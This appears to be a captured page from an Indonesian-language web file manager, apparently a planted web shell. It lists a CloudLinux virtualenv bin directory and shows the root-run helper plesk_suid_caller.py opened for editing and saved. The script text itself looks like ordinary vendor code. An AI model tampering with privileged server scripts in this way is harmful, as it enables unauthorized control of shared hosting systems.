PATH: //opt/cloudlinux/venv/bin
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 Activate.ps1
↓
X
📄 activate
↓
X
📄 activate.csh
↓
X
📄 activate.fish
↓
X
📄 alembic
↓
X
📄 cagefs_enter_site.py
↓
X
📄 cagefsctl_user.py
↓
X
📄 chardetect
↓
X
📄 cl_sysctl
↓
X
📄 clcpapi
↓
X
📄 coverage
↓
X
📄 coverage-3.11
↓
X
📄 coverage3
↓
X
📄 cpanel-dbmapping
↓
X
📄 crontab-user-wrapper.py
↓
X
📄 da_suid_caller.py
↓
X
📄 detect-requirements
↓
X
📄 dodgy
↓
X
📄 epylint
↓
X
📄 f2py
↓
X
📄 f2py3
↓
X
📄 f2py3.11
↓
X
📄 flake8
↓
X
📄 futurize
↓
X
📄 get_gprof
↓
X
📄 get_objgraph
↓
X
📄 isort
↓
X
📄 isort-identify-imports
↓
X
📄 jsonschema
↓
X
📄 lvestats_config_reader.py
↓
X
📄 mako-render
↓
X
📄 normalizer
↓
X
📄 pasteurize
↓
X
📄 pip
↓
X
📄 pip3
↓
X
📄 pip3.11
↓
X
📄 plesk_suid_caller.py
↓
X
📄 prospector
↓
X
📄 py.test
↓
X
📄 pycodestyle
↓
X
📄 pydocstyle
↓
X
📄 pyflakes
↓
X
📄 pylint
↓
X
📄 pylint-config
↓
X
📄 pyreverse
↓
X
📄 pysemver
↓
X
📄 pytest
↓
X
📄 python
↓
X
📄 python3
↓
X
📄 python3.11
↓
X
📄 raven
↓
X
📄 symilar
↓
X
📄 tap
↓
X
📄 tappy
↓
X
📄 undill
↓
X
📄 virtualenv
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: plesk_suid_caller.py
# coding: utf-8 # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import sys import json import traceback from clcommon import ClPwd from clcommon.cpapi.plugins.plesk import userdomains from clcommon.cpapi.cpapiexceptions import NoPanelUser try: uid = int(sys.argv[1]) _clpwd = ClPwd() pwd_list = _clpwd.get_pw_by_uid(uid) for user_pwd in pwd_list: username = user_pwd.pw_name try: res = userdomains(username, as_root=True) print(json.dumps(res)) sys.exit(0) except NoPanelUser: pass print(json.dumps({})) sys.exit(0) except (NoPanelUser, KeyError): print(json.dumps({})) sys.exit(11) except Exception: print(json.dumps(traceback.format_exc())) sys.exit(10)
SIMPAN PERUBAHAN